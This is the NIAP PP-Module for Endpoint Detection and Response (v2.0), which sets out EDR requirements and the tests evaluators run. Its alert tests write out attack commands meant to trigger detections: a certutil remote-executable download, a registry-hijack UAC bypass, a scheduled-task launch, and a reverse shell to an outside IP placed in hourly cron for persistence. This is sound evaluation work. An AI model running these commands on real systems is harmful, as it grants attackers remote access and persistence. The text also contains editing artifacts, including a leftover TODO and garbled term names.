

# PP-Module for Endpoint Detection And Response (EDR)



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**National Information Assurance Partnership**

## Revision History

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Version	Date	Comment
1.0	2020-10-23	First version released
2.0	2026-01-13	CC:2022 conversion

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# 1 Introduction

## 1.1 Overview

The scope of this PP-Module is to describe the security functionality of an Endpoint Detection and Response (EDR) system in terms of [CC] and to define functional and assurance requirements for such products. This PP-Module is intended for use with the following Base-PPs:

- Protection Profile for Application Software [AppPP], Version 2.0.

This Base-PP is valid because an EDR is deployed as a software application on a general-purpose operating system.

## 1.2 Terms

The following sections list Common Criteria and technology terms used in this document.

### 1.2.1 Common Criteria Terms

Assurance	Grounds for confidence that a TOE meets the SFRs [CC].
Base Protection Profile (Base-PP)	Protection Profile used as a basis to build a PP-Configuration.
Collaborative Protection Profile (cPP)	A Protection Profile developed by international technical communities and approved by multiple schemes.
Common Criteria (CC)	Common Criteria for Information Technology Security Evaluation (International Standard ISO/IEC 15408).
Common Criteria Testing Laboratory	Within the context of the Common Criteria Evaluation and Validation Scheme (CCEVS), an IT security evaluation facility accredited by the National Voluntary Laboratory Accreditation Program (NVLAP) and approved by the NIAP Validation Body to conduct Common Criteria-based evaluations.
Common Evaluation Methodology (CEM)	Common Evaluation Methodology for Information Technology Security Evaluation.
Direct Rationale	A type of Protection Profile, PP-Module, or Security Target in which the security problem definition (SPD) elements are mapped directly to the SFRs and possibly to the security objectives for the operational environment. There are no security objectives for the TOE.
Distributed TOE	A TOE composed of multiple components operating as a logical whole.
Extended Package (EP)	A deprecated document form for collecting SFRs that implement a particular protocol, technology, or functionality. See Functional Packages.
Functional Package (FP)	A document that collects SFRs for a particular protocol, technology, or functionality.
Operational Environment (OE)	Hardware and software that are outside the TOE boundary that support the TOE functionality and security policy.
Protection Profile (PP)	An implementation-independent set of security requirements for a category of products.
Protection Profile Configuration (PP-Configuration)	A comprehensive set of security requirements for a product type that consists of at least one Base-PP and at least one PP-Module.
Protection Profile Module (PP-Module)	An implementation-independent statement of security needs for a TOE type complementary to one or more Base-PPs.
Security Assurance Requirement (SAR)	A requirement to assure the security of the TOE.
Security Functional Requirement (SFR)	A requirement for security enforcement by the TOE.
Security Target (ST)	A set of implementation-dependent security requirements for a specific product.

Target of Evaluation (TOE)	The product under evaluation.
TOE Security Functionality (TSF)	The security functionality of the product under evaluation.
TOE Summary Specification (TSS)	A description of how a TOE satisfies the SFRs in an ST.

### 1.2.2 Technical Terms

Alert	An event or notification on the management dashboard that highlights potentially unauthorized activity.
Endpoint	A computing device that runs a general purpose OS, a mobile device OS, or network device OS. Endpoints can include desktops, servers, and mobile devices.
Endpoint Detection and Response (EDR)	Server software that analyzes collected EDR Host Agent data for detecting, investigating, and remediating unauthorized activities on endpoints. The terms <i>TOE</i> and <i>EDR</i> are interchangeable in this document.
Endpoint Detection and Response System	The EDR server and the Host Agents they operate with.
Enroll	The act of registering an HA endpoint with the EDR.
Host Agent	Complementary software that executes on endpoints to collect data about the endpoint and executes commands sent to the endpoint from an Enterprise Security Management (ESM) server or service. An example command sent to an endpoint could be to enforce a policy from an ESM, to collect some files, or to run an OS command.
Management Dashboard	A management interface for the configuration of EDR policy, visualization of collected endpoint alert data, and issuing of remediation commands.
Potentially Unauthorized Activity	This refers to the set of activities detected by the TOE, specific items detected may be unique to the TOE
SOC Analyst	Security Operations Center (SOC) Analyst is typically the person responsible for reviewing potentially unauthorized activities via alerts and performing remediation and clean up.

## 1.3 Compliant Targets of Evaluation

An **EDR** is enterprise management software that collects endpoint host data to detect potentially unauthorized activity on endpoints and to enable threat hunting and other incident response actions to remediate malicious behaviors. These requirements cover basic security characteristics and behaviors for **EDR** products; the platform on which the **EDR** runs may be a physical or virtual Operating System (**OS**), and on-premises or in a cloud environment.

**EDR** products rely on additional software running on the endpoint, called the Host Agent, to communicate commands or policy changes and to receive endpoint host data. Security requirements for the Host Agent are addressed in the separate **PP-Module**. Evaluation of an **EDR** system will require evaluations of different system components consisting of **EDR** and . Each evaluation must satisfy the requirements in both the **EDR** and HA in addition to its **Base-PP** Application Software. Evaluation of an **EDR** system will require evaluation of different system components consisting of one **EDR** and at least one Host Agent. Therefore, the evaluation must claim conformance to a **PP-Configuration** that includes the **PP-Module** for Endpoint Detection and Response (**EDR**) and the **PP-Module** for Host Agent.

There are two primary architectural categories addressed by requirements in this **PP-Module**, as seen in Figure 1.

- Endpoints communicate over the Internet to an **EDR** hosted by a cloud service provider (Software as a Service).
- Endpoints communicate with an on-premises **EDR** in a hub and spoke network model.




**Figure 1: Primary EDR Architectures**

### 1.3.1 TOE Boundary

The TOE boundary for the EDR encompasses all the software from the TOE vendor that represents the server or enterprise management side of the EDR system. This will typically, but not always, be software running behind a web application or dashboard, and possibly with other software services running to send and receive data with a Host Agent. The EDR may also make use of a database to store collected and analyzed data. Any database software itself is outside the scope of the TOE, as is any web server software used to serve a web application or dashboard, and the underlying operating system or cloud platform. The figure below shows EDR (right) communicating with its Host Agent (left) over an untrusted network.

The requirements for the Host Agent are not covered in this PP-Module, however it is expected that an ESM system will evaluate against a PP-Configuration that includes both the EDR PP-Module and the PP-Module.



**Figure 2: EDR and Host Agent Communications**

### 1.3.2 TOE Platform

The TOE platform, which consists of the OS or Cloud platform on which the EDR software executes, is outside the scope of evaluation. However, the security of the EDR relies upon it.

Any communications with trusted remote file reputation or threat intelligence services is relevant to overall EDR system security but is also outside the scope of evaluation.

## 1.4 Use Cases

Requirements in this PP-Module are designed to address the security problem for the following use cases. An EDR's functionality may be extended by add-ons, plug-ins, threat feeds, or other reputation services. These are out of scope of this PP-Module.

#### [USE CASE 1] Detection of Potential Unauthorized Activity

The detection of potentially unauthorized activity, software, or users is enabled by the collection of host-based endpoint data to a central EDR where the data is analyzed.

#### [USE CASE 2] Remediation of Malicious Activity

The ability to initiate remediation commands to attempt a clean up of detected malicious activity is a key use case of EDR.

#### [USE CASE 3] Discovery

The capability to effectively browse, query, and export aggregated host-based endpoint data enables a SOC analyst to discover adversaries in post-compromise scenarios.

## 2 Conformance Claims

### Conformance Statement

An ST must claim exact conformance to this PP-Module.

The evaluation methods used for evaluating the TOE are a combination of the workunits defined in [\[CEM\]](#) as well as the Evaluation Activities for ensuring that individual SERs and SARS have a sufficient level of supporting evidence in the Security Target and guidance documentation and have been sufficiently tested by the laboratory as part of completing ATE\_IND.1. Any functional packages this PP claims similarly contain their own Evaluation Activities that are used in this same manner.

### CC Conformance Claims

This PP-Module is conformant to Part 2 (extended) and Part 3 (extended) of Common Criteria CC:2022, Revision 1.

### PP Claim

This PP-Module does not claim conformance to any Protection Profile.

The following PPs and PP-Modules are allowed to be specified in a PP-Configuration with this PP-Module:

- Protection Profile for Application Software, Version 2.0
- PP-Module for Enterprise-Management (EM), Version 2.0
- PP-Module for Host Agent (HA), Version 2.0

### Package Claim

- This PP-Module is Functional Package for SSH, Version 2.0 conformant.
- This PP-Module is Functional Package for TLS, Version 2.1 conformant.
- This PP-Module is Functional Package for X.509, Version 1.0 conformant.
- This PP-Module does not conform to any assurance packages.

The functional packages to which the PP conforms may include SERs that are not mandatory to claim for the sake of conformance. An ST that claims one or more of these functional packages may include any non-mandatory SERs that are appropriate to claim based on the capabilities of the TSE and on any triggers for their inclusion based inherently on the SER selections made.

## 3 Security Problem Definition

The security problem is described in terms of the threats that the EDR is expected to address, assumptions about the OE, and any organizational security policies that the EDR is expected to enforce. These extend any threats, assumptions, and organizational security policies defined by the Base-PP.

### 3.1 Threats

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#### **T.CREDENTIAL\_REUSE**

An attacker is positioned on a communications channel or elsewhere on the network infrastructure. Attackers may guess or harvest legitimate credentials from the EDR, endpoints, or insecure network activity.

#### **T.MISCONFIGURATION**

An attacker is a legitimate privileged user with access to change the configuration of the EDR's security capabilities or is not a legitimate privileged user trying to access without proper authorization. Attackers may attempt to hide malicious activities from other privileged users.

### 3.2 Assumptions

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These assumptions are made on the Operational Environment (OE) in order to be able to ensure that the security functionality specified in the PP-Module can be provided by the TOE. If the TOE is placed in an OE that does not meet these assumptions, the TOE may no longer be able to provide all of its security functionality.

#### **A.CONNECTIVITY**

The TSF relies on network connectivity to carry out its management activities. The OE will provide reliable network connectivity for the EDR to operate. The EDR will robustly handle occasional instances when connectivity is unavailable or unreliable.

### 3.3 Organizational Security Policies

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An organization deploying the TOE is expected to satisfy the organizational security policy listed below in addition to all organizational security policies defined by the claimed Base-PP.

This document does not define any additional OSPs.



# 4 Security Objectives

## 4.1 Security Objectives for the Operational Environment

The OE of the T.OE implements technical and procedural measures to assist the T.OE in correctly providing its security functionality (which is defined by the security objectives for the T.OE). The security objectives for the OE consist of a set of statements describing the goals that the OE should achieve. This section defines the security objectives that are to be addressed by the IT domain or by non-technical or procedural means. The assumptions identified in Section 3 are incorporated as security objectives for the environment. The following security objectives for the Operational Environment assist the EDR in correctly providing its security functionality. These track with the assumptions about the environment.

**OE.RELIABLE\_TRANSIT**

Wired or wireless network traffic between the EDR and host agents will provide reasonably reliable connectivity.

## 4.2 Security Objectives Rationale

This section describes how the assumptions and organizational security policies map to operational environment security objectives.

Table 1: Security Objectives Rationale

Assumption or OSP	Security Objectives	Rationale
A.CONNECTIVITY	OE.RELIABLE_TRANSIT	The OE objective OE.RELIABLE_TRANSIT is realized through A.CONNECTIVITY.

# 5 Security Requirements

This chapter describes the security requirements which have to be fulfilled by the product under evaluation. Those requirements comprise functional components from Part 2 and assurance components from Part 3 of [CC]. The following conventions are used for the completion of operations:

- **Refinement** operation (denoted by **bold text** or ~~strikethrough text~~): Is used to add details to a requirement or to remove part of the requirement that is made irrelevant through the completion of another operation, and thus further restricts a requirement.
- **Selection** (denoted by *italicized text*): Is used to select one or more options provided by the [CC] in stating a requirement.
- **Assignment** operation (denoted by *italicized text*): Is used to assign a specific value to an unspecified parameter, such as the length of a password. Showing the value in square brackets indicates assignment.
- **Iteration** operation: Is indicated by appending the ~~SFR~~ name with a slash and unique identifier suggesting the purpose of the operation, e.g. "/EXAMPLE1."

## 5.1 Protection Profile for Application Software Security Functional Requirements Direction

In a ~~PP-Configuration~~ that includes [AppPP], the TOE is expected to rely on some of the security functions implemented by the application as a whole and evaluated against the ~~Base-PP~~. The ~~SFRs~~ listed in this section are defined in the ~~Base-PP~~ and relevant to the secure operation of the ~~EDR~~. This section describes any modifications that the ~~ST~~ author must make to the ~~Base-PP SFRs~~ to satisfy the required ~~EDR~~ functionality.

### 5.1.1 Modified SFRs

This ~~PP-Module~~ does not modify any ~~SFRs~~ defined by the App PP.

## 5.2 TOE Security Functional Requirements

The following section describes the ~~SFRs~~ that must be satisfied by any TOE that claims conformance to this ~~PP-Module~~. These ~~SFRs~~ must be claimed regardless of which ~~PP-Configuration~~ is used to define the TOE.

### 5.2.1 Auditable Events for Mandatory SFRs

Table 2: Auditable Events for Mandatory Requirements

Requirement	Auditable Events	Additional Audit Record Contents
FAU_ALT_EXT.1	No events specified	N/A
FAU_COL_EXT.1	No events specified	N/A
FAU_GEN.1/EDR	No events specified	N/A
FIA_AUT_EXT.1	No events specified	N/A
FIA_PWD_EXT.1	No events specified	N/A
FMT_SMF.1/ENDPOINT	No events specified	N/A
FMT_SMF.1/HOST	No events specified	N/A
FMT_SMR.1	No events specified	N/A
FMT_SRF_EXT.1	No events specified	N/A
FPT_ITT.1	No events specified	N/A
FTP_TRP.1	No events specified	N/A

### 5.2.2 Security Audit (FAU)

#### FAU\_ALT\_EXT.1 Server Alerts

FAU\_ALT\_EXT.1.1

The TSF shall alert authorized users on a management dashboard in the event of: detection of potentially unauthorized activity on enrolled endpoints.

**Application Note:** The intent of this requirement is to specify the minimum set of management dashboard alert capabilities the EDR must be capable of displaying to an authorized user.

Examples of detection of potentially unauthorized activity on enrolled endpoints include; anomalous activity, escalation of privileges, and lateral movement.

#### FAU\_ALT\_EXT.1.2

The TSS shall provide a visualization of detected alerts of potentially unauthorized incidents, and shall include:

- a. An initial incident severity and [selection: assessment, categorization, score, ranking],
- b. An incident timeline.

**Application Note:** The intent of this requirement is to specify the minimum set of incident visualizations the EDR must be capable of displaying to an authorized user. Visualization is broadly defined as the display of incident data to an authorized user on the management dashboard. The visualization is not required to be interactive.

#### FAU\_ALT\_EXT.1.3

The TSS shall provide a data export capability for selected alerts with a specified standards-based format of [selection:

- Structured Threat Information expression (STIX)
- Cyber Observable expression (CybOX)
- Incident Object Description Exchange Format (IODEF)
- Common Event Format (CEF)
- Log Event Extended Format (LEEF)

].

**Application Note:** The intent of this requirement is to specify a selection of standards-based formats the EDR must provide for the export of selected alerts, at least one must be selected.

### Evaluation Activities ▼

#### FAU\_ALT\_EXT.1

##### TSS

The evaluator shall examine the TSS to ensure that it describes how alerts for changes in potentially unauthorized activities on enrolled endpoints are detected and displayed. The evaluator shall examine the TSS to ensure it contains the list of unauthorized activity types categorized or labeled by the EDR upon detection.

The evaluator shall examine the TSS to ensure that it describes how alert visualizations are displayed and what content is included.

The evaluator shall examine the TSS to ensure that it describes what formats are supported.

##### Guidance

The evaluator shall review operational guidance to identify a list of unauthorized activity types categorized or labeled by the EDR upon detection.

The evaluator shall ensure guidance includes any needed configuration information for displaying alerts in relation to changes in Host Agent enrollment status and potentially unauthorized activities.

The evaluator shall review the operational guidance to ensure that it contains documentation on using the management dashboard to visualize and view alerts.

The evaluator shall examine the guidance documentation to ensure it describes the formats supported and the methods of data export being claimed (e.g., written to a file on the underlying platform, communication over a TOE interface to another product, etc.). If communication over a TOE interface to another product (other than the underlying platform) is required to export the data, the evaluator shall verify the guidance documentation describes what products or product types are supported, how to establish communication with those products, any requirements on those products (particular communication protocol, version of the protocol required, etc.), and the configuration of the TOE needed to communicate with those products.

##### Tests

The evaluator shall perform the following tests:

**For Windows,** the evaluator shall test the EDR's ability to detect anomalous activity by performing the following subtests based on the platform of the enrolled Host Agent's system, verifying for each that, corresponding alerts were generated in the management dashboard:

**For Linux**, the evaluator shall test the EDR's ability to detect anomalous activity by performing the following subtests based on the platform of the enrolled Host Agent's system, verifying for each that, corresponding alerts were generated in the management dashboard:

**For all platforms:**

- Test FAU\_ALT\_EXT.1:1: The evaluator shall open a Windows command prompt as a user and run the command `cmd /c certutil -urlcache -split -f <remote file> <download directory>`, where the remote file is a valid file path to an accessible, remotely stored executable, and the download directory is a valid directory path writable by the current local user.
- Test FAU\_ALT\_EXT.1:2: The evaluator shall open a Windows command prompt as a user and run the command `reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "<local executable>" /f`, where the local executable is a valid file path to a readable, local executable. The evaluator will then run the command `cmd.exe /c eventvwr.msc` in the same command prompt window.
- Test FAU\_ALT\_EXT.1:3: The evaluator shall open a Windows command prompt as a user and run the command `SCHTASKS /Create /SC ONCE /TN spawn /TR <local executable>" /ST <time>`, where the local executable is a valid file path to a readable, local executable, and time is a start time that occurs within minutes of the task being created.
- Test FAU\_ALT\_EXT.1:4: The evaluator shall open a terminal and run the command `scp <remote user>@<remote host>:<remote path> <download directory>`, where the remote user is a valid user on remote host, remote path is a valid path to a remotely stored executable, and the download directory is a valid directory path writable by the current local user. The remote user's password shall be provided when prompted.
- Test FAU\_ALT\_EXT.1:5: The evaluator shall open a terminal and run the command `echo "bash -i && /dev/tcp/<outside IP>/5050 0>&1 1 &" > /etc/cron.hourly/persist`, where the outside IP is a valid external address.
- Test FAU\_ALT\_EXT.1:6: The evaluator shall review an alert on the management dashboard and verify that the alert contains a severity field and the fields specified in the ST. The evaluator will open or view the alert and verify that a timeline of events is available for review. The timeline shall show a progression of events over time.
- Test FAU\_ALT\_EXT.1:7: The evaluator shall pick an alert on the management dashboard and export the alert in every format specified in the ST. The evaluator shall review the operational guidance and the selection from the requirement and verify that export options exist for all the declared formats in the selection. After exporting one alert for each possible format the evaluator shall review the file contents of the exported alert and verify it is the correct format for the selected export option (for example, an export of the IODEF type must contain 'IODEF-Document' in the first element of the exported file).

## FAU\_COL\_EXT.1 Collected Endpoint Data

### FAU\_COL\_EXT.1.1

The TSF shall collect the following minimum set of endpoint data from a Host Agent:

- a. Operating System (OS) version, architecture, and IP Address,
- b. Privileged and unprivileged endpoint account login activity,
- c. Process creation,
- d. Libraries and modules loaded by processes,
- e. Filenames and [selection: [assignment: other metadata], no other metadata] of files created and [selection: [assignment: other activities performed to files], no other activities] on persistent storage,
- f. [selection: [assignment: other host data], no other host data].

**Application Note:** The intent of this requirement is to specify the minimum set of endpoint data that the EDR must be capable of collecting. The assignments may be a single item or multiple items.

## Evaluation Activities ▼

### FAU\_COL\_EXT.1

#### TSF

The evaluator shall verify that all supported endpoint event data types are described.

#### Guidance

The evaluator shall review the operational guidance and ensure that it lists all of the collectable types of endpoint event data.

#### Tests

The evaluator shall perform the following tests:

- Test FAU\_COL\_EXT.1:1: The evaluator shall verify the OS version, architecture, and IP address of a system managed by a Host Agent against the data reported to the EDR.

- Test FAU\_COL\_EXT.1:2: The evaluator shall log in to a system managed by a Host Agent with two separate accounts and verify that the activity is accurately reported to the EDR.
- Test FAU\_COL\_EXT.1:3: The evaluator shall run a known user application provided on the platform OS and verify that subsequent process creation and module loading is accurately reported to the EDR.
- Test FAU\_COL\_EXT.1:4:
  - Test FAU\_COL\_EXT.1:4.1: The evaluator shall create a new, non-empty file in persistent storage and verify that the activity is accurately reported to the EDR based on filename and any other metadata indicated in bullet e.
  - Test FAU\_COL\_EXT.1:4.2: (Conditional): If other activities performed on files are indicated in bullet e, the evaluator shall perform them on a non-empty file within persistent storage and verify that the activity is accurately reported to the EDR based on filename and any other metadata indicated in bullet e.
- Test FAU\_COL\_EXT.1:5: (Conditional): If other host data is indicated in the assignment in bullet f, the evaluator shall perform an action that causes an event to occur for all items in the assignment and verify the activity is reported to the EDR.

## FAU\_GEN.1/EDR Audit Data Generation

### FAU\_GEN.1.1/EDR

The TSS shall be able to generate audit data of the following auditable events:

- Start-up and shutdown of the audit functions;
- All auditable events for the [not specified] level of audit;

[

- EDR management dashboard log in activity;
- Remediation commands sent to a Host Agent, affected endpoint, or network devices;
- EDR configuration changes;
- Change in Host Agent enrollment status;
- [assignment: Other auditable events]

].

**Application Note:** The intent of this requirement is to specify the minimum set of audit data generated about actions on the EDR. Changes made to configuration files at the OS level will be audited by the OS and are not covered by this requirement.

### FAU\_GEN.1.2/EDR

The TSS shall record within the audit data at least the following information:

- date and time of the event,
- type of event,
- subject identity (if applicable),
- and the outcome (success or failure) of the event,
- For each auditable event type, based on the auditable event definitions of the functional components included in the PP, PP-Module, functional package, or ST, [assignment: other audit relevant information].

**Application Note:** This requirement outlines the information to be included in audit data. All audits must contain at least the information mentioned in FAU\_GEN.1.2/EDR, but may contain more information which can be assigned.

## Evaluation Activities ▼

### FAU\_GEN.1/EDR

#### TSS

The evaluator shall check the TSS and ensure that it lists all of the auditable events claimed in the SER. The evaluator shall check to make sure that every audit event type specified by the SER is described in the TSS.

The evaluator shall check the TSS and ensure that it provides a format for audit data. Each audit record format type must be covered, along with a brief description of each field.

#### Guidance

The evaluator shall check the administrative guide and ensure that it lists all of the auditable events claimed in the SER. The evaluator shall check to make sure that every audit event type mandated by the SER is described.

The evaluator shall examine the administrative guide and make a determination of which commands are related to the configuration (including enabling or disabling) of the mechanisms implemented in the EDR that are necessary to enforce

the requirements specified in the ~~PP.Module~~. The evaluator shall document the methodology or approach taken while determining which actions in the administrative guide are security relevant with respect to this ~~PP.Module~~. The evaluator may perform this activity as part of the activities associated with ensuring the AGD\_OPE guidance satisfies the requirements.

The evaluator shall check the administrative guide and ensure that it provides a format for audit data. Each audit record format type must be covered, along with a brief description of each field. The evaluator shall check to make sure that the description of the fields contains the information required in [FAU\\_GEN.1.2/EDR](#).

The evaluator shall review operational guidance to ensure that it contains documentation on enrolling and unenrolling Host Agents from the ~~EDR~~.

#### Tests

The evaluator shall perform the following tests:

- Test FAU\_GEN.1/EDR:1: The evaluator shall login to the ~~EDR~~ management dashboard and verify that audit log data describing the activity is recorded.
- Test FAU\_GEN.1/EDR:2: The evaluator shall issue a valid remediation command provided by the ~~EDR~~ to a Host Agent and verify that audit log data describing the activity is recorded on the ~~EDR~~ management dashboard.
- Test FAU\_GEN.1/EDR:3: The evaluator shall change a non-destructive ~~EDR~~ configuration option within the ~~EDR~~ management dashboard, change it back to the original setting, and verify that the audit log data describing the activity is recorded.
- Test FAU\_GEN.1/EDR:4: The evaluator shall follow guidance to unenroll a Host Agent from the ~~EDR~~ and verify that the unenrollment action is recorded in an auditable and timestamped activity log.
- Test FAU\_GEN.1/EDR:5: The evaluator shall follow guidance to enroll a Host Agent to the ~~EDR~~ and verify that the enrollment action is recorded in an auditable and timestamped activity log.
- Test FAU\_GEN.1/EDR:6: The evaluator shall perform the action to generate all other auditable events listed in the assignment and verify the activity is recorded.

When verifying the test results from [FAU\\_GEN.1.1/EDR](#), the evaluator shall ensure the audit data generated during testing match the format specified in the administrative guide, and that the fields in each audit record have the proper entries.

Note that the testing here can be accomplished in conjunction with the testing of the security mechanisms directly. For example, testing performed to ensure that the administrative guidance provided is correct verifies that AGD\_OPE.1 is satisfied and should address the invocation of the administrative actions that are needed to verify the audit data are generated as expected.

## 5.2.3 Identification and Authentication (FIA)

### FIA\_AUT\_EXT.1 Dashboard Authentication Mechanisms

#### FIA\_AUT\_EXT.1.1

The ~~TSSF~~ shall [selection:

- leverage the platform for authentication
- provide authentication based on username/password and [selection:
  - authentication with external smart card and PIN
  - no other factors

]

] to support logins to any management dashboard or ~~API~~.

**Application Note:** The selection specifies if Smartcards are also supported, one selection must be made.

#### Evaluation Activities ▼

#### [FIA\\_AUT\\_EXT.1](#)

##### ~~TSS~~

The evaluator shall examine the ~~TSS~~ to ensure that it describes how user authentication is performed. The evaluator shall verify that the authorization methods listed in the ~~TSS~~ are specified and included in the requirements in the ~~ST~~.

#### Guidance

The evaluator shall review the operational guidance to ensure that it contains documentation on configuring any supported authentication mechanisms and any support for multifactor authentication.

#### Tests

- Test FIA\_AUT\_EXT.1:1: Conditional: If "provide authentication..." is selected, the evaluator shall create an account with a username and password, verifying that login authentication is case-sensitive. If additional factors are provided, each factor shall be tested for login access. The evaluator shall verify that login access is granted for correct credentials and denied in cases of incorrect credentials across available factors.
- Test FIA\_AUT\_EXT.1:2: Conditional: If "leverage the platform" is selected, the evaluator shall create an account following the platform rules. The evaluator shall verify that login access is granted for correct credentials and denied in cases of incorrect credentials across available factors.

## FIA\_PWD\_EXT.1 Password Authentication

### FIA\_PWD\_EXT.1.1

The TSSF shall support the following for the Password Authentication Factor:

1. Passwords shall be able to be composed of any combination of [**selection:** upper and lower case letters, [**assignment:** a character set of at least 52 characters]], numbers, and special characters: [**selection:** "!", "@", "#", "\$", "%", "^", "&", "\*", "(", ")", [**assignment:** other characters]],
2. Password length up to [**assignment:** an integer greater than or equal to 64] characters shall be supported.

**Application Note:** The ST author selects the character set: either the upper and lower case Basic Latin letters or another assigned character set containing at least 52 characters. The assigned character set must be well defined: either according to an international encoding standard (such as Unicode) or defined in the assignment by the ST author. The ST author also selects the special characters that are supported by the TOE; they may optionally list additional special characters supported using the assignment.

## Evaluation Activities ▼

### FIA\_PWD\_EXT.1

#### TSS

The evaluator shall verify the TSS lists the supported character set for the composition of administrator passwords. The evaluator shall verify that the TSS lists a password length value that is greater than or equal to 64.

#### Guidance

The evaluator shall review the operational guidance to ensure that it contains documentation on default password policy.

#### Tests

The evaluator shall perform the following tests:

- Test FIA\_PWD\_EXT.1:1: The evaluator shall verify that passwords up to 64 characters are supported.
- Test FIA\_PWD\_EXT.1:2: The evaluator shall verify that password composition rules present in operational guidance are enforced. While the evaluator is not required (nor is it feasible) to test all possible composition rules, the evaluator shall ensure that all characters are supported, and rule characteristics listed in the requirement are enforced.

## 5.2.4 Security Management (FMT)

### FMT\_SMF.1/ENDPOINT Specification of Management Functions (EDR Management of EDR)

#### FMT\_SMF.1.1/ENDPOINT

The TSSF shall be capable of performing the following management functions:

**Table 3: Management Functions**

[Status Markers:  
M - Mandatory  
O - Optional or Objective  
- - Not Applicable

#	Management Function	Administrator	SOC Analyst	Read-Only User
---	---------------------	---------------	-------------	----------------

1	Configure the amount of time to retain data collected by the <u>EDR</u> [ <b>assignment:</b> <i>time frame to retain data</i> ]	<u>M</u>	<u>O</u>	-
2	Obtain or display the connectivity status of a Host Agent	<u>M</u>	<u>O</u>	<u>O</u>
3	Define a configurable list of [ <b>selection:</b> <i>filenames, folders, file hashes</i> , [ <b>assignment:</b> <i>other factors</i> ]]	<u>O</u>	<u>M</u>	-
4	Configure visual suppression of incident alerts based on a configurable list of [ <b>selection:</b> <i>filenames, folders, file hashes</i> , [ <b>assignment:</b> <i>other factors</i> ]]	<u>O</u>	<u>M</u>	-

**Application Note:** This requirement captures all the configuration functionality the TSS provides the administrator to configure the EDR. Both configurable lists mentioned in the table, above, are intended to match one another.

## Evaluation Activities ▼

### FMT\_SMF.1/ENDPOINT

#### TSS

The evaluator shall verify the TSS contains a list of roles and what functions they can perform. The evaluator shall verify the list matches the chart in the requirement.

#### Guidance

The evaluator shall review the operational guidance to verify that the EDR has documented capabilities to perform the management functions.

#### Tests

The evaluator shall perform the below tests with each role, verifying each role is denied or can complete the action below as specified by the chart in the SFR:

- Test FMT\_SMF.1/ENDPOINT:1: The evaluator shall configure the amount of time to retain collected EDR data to a time frame in which existing data will be made unavailable and verify that the data is no longer accessible through the EDR management dashboard.
- Test FMT\_SMF.1/ENDPOINT:2: The evaluator shall logically or physically inhibit the network communications between a managed endpoint system and the EDR server and verify that the inhibited or halted connectivity status of the Host Agent is recognized on the EDR management dashboard.
- Test FMT\_SMF.1/ENDPOINT:3: The evaluator shall use a file that triggers an incident alert to test the suppression of such alerts for that specific file. Upon confirming the creation of incident alerts on access to the file, the evaluator shall configure suppression of the alert for each selected suppression method (e.g., filenames) and verify that incident alerts are categorized as suppressed, hidden, unavailable, never created, or similarly categorized. No specific category naming is required, but it should follow the general intent of the examples provided.

## FMT\_SMF.1/HOST Specification of Management Functions (EDR Management of Host Agent)

### FMT\_SMF.1.1/HOST

The TSS shall be capable of performing the following management functions **that control behavior of the Host Agent** :

**Table 4: Management Functions**

[Status Markers:  
M - Mandatory  
O - Optional or Objective  
- - Not Applicable

#	Management Function	Administrator	SOC Analyst	Read-Only User
5	Configure the frequency for sending Host Agent data to the <u>EDR</u> [ <b>assignment:</b> <i>list of configurable frequencies</i> ]	<u>M</u>	<u>O</u>	-



6 Assign a label or tag to categorize or group individual endpoint systems

M

O

-

].

**Application Note:** This requirement captures all the configuration functionality the EDR provides the administrator to configure the EDR Host Agents. The frequency for sending data to the EDR can be specified as a time value, but does not have to be. A value like Aggressive, Normal, Low Bandwidth is a measure of control of frequency and meets the requirement. For EDR products, some management is performed through a product's configuration files stored at the OS level. In these cases, the OS administrator can be considered the administrator of the TOE.

## Evaluation Activities ▼

### FMT\_SMF.1/HOST

#### TSS

The evaluator shall verify the TSS contains a list of roles and what functions they can perform. The evaluator shall verify the list matches the chart in the requirement.

#### Guidance

The evaluator shall review the operational guidance to verify that the EDR has documented capabilities to perform the management functions.

#### Tests

The evaluator shall perform the below tests:

- Test FMT\_SMF.1/HOST:1: The evaluator shall modify the time frame for sending Host Agent data to the EDR and verify that an affected Host Agent is sending data at the intended interval.
- Test FMT\_SMF.1/HOST:2: The evaluator shall tag or categorize a group of individual endpoint systems and verify that the tag or categorization persists within the EDR management dashboard for other users.
- Test FMT\_SMF.1/HOST:3: The evaluator shall attempt each function with each role and verify access conforms with the chart in the requirement. If no interface exists for a particular role to perform a function, that is sufficient to test that the role is not capable of performing the given function.

## FMT\_SMR.1 Security Management Roles

### FMT\_SMR.1.1

The TSF shall maintain the roles [administrator, SOC analyst, read-only user].

### FMT\_SMR.1.2

The TSF shall be able to associate users with roles.

**Application Note:** The EDR will be configured, maintained, and used by different user roles. At a minimum, one administrative role shall be supported, one SOC analyst who can issue remediation commands to host agents, and one read-only user who can only view data.

The user accounts need not be named literally, but they must have the implication of such roles.

CC Part 2 specifies FIA\_UID.1 as a dependency of this requirement because the TSF must have some way of identifying users so that they can be associated with management roles. This dependency is implicitly addressed through FIA\_AUT\_EXT.1, which specifies an alternative method of user identification.

## Evaluation Activities ▼

### FMT\_SMR.1

TODO: You need to explain the lack of EAs for this component!!!!

#### TSS

The evaluator shall examine the TSS to verify that it describes the roles and the powers granted to and limitations of the role.

#### Guidance

The evaluator shall review the operational guidance to ensure that it contains instructions for administering the EDR, which user roles are supported, and which permissions each role has.

#### Tests

- Test FMT\_SMR.1.1: The evaluator shall verify that the roles of administrator, SOC analyst, and read-only user are available, creating individual accounts with each role assigned.
- Test FMT\_SMR.1.2: The evaluator shall verify that non-administrator roles are not able to modify the roles of their own account or those of others.
- Test FMT\_SMR.1.3: In the course of performing the testing activities for the evaluation, the evaluator shall use all supported interfaces, although it is not necessary to repeat each test involving an administrative action with each interface. The evaluator shall ensure, however, that each supported method of administering the EDR that conforms to the requirements of this P.P. be tested; for instance, if the EDR can be administered through a local hardware interface or TLS/HTTPS then both methods of administration must be exercised during the execution of the test activities.
- Test FMT\_SMR.1.4: The evaluator shall attempt each function with each role and verify access conforms with the chart in the requirement.

## FMT\_SRF\_EXT.1 Specification of Remediation Functions

### FMT\_SRF\_EXT.1.1

The TSS shall be capable of performing the following remediation functions: **Table 5: Management Functions**

[Status Markers:

M - Mandatory

O - Optional or Objective

- - Not Applicable

#	Management Function	Administrator	SOC Analyst	Read-Only User
7	Quarantine an endpoint by [selection: logically quarantining the endpoint from the network unless allowlisted, quarantining the malicious file on the endpoint]	O	M	-
8	Terminate a running process on an endpoint	O	M	-
9	Retrieve potentially unauthorized or affected files from an endpoint	O	O	-

].

**Application Note:** This requirement captures all the remediation functionality the EDR provides the SOC Analyst and optionally the Administrator.

Logically quarantine from the network refers to restricting communications from the endpoint to the rest of the network, it may include a restricted allowlist.

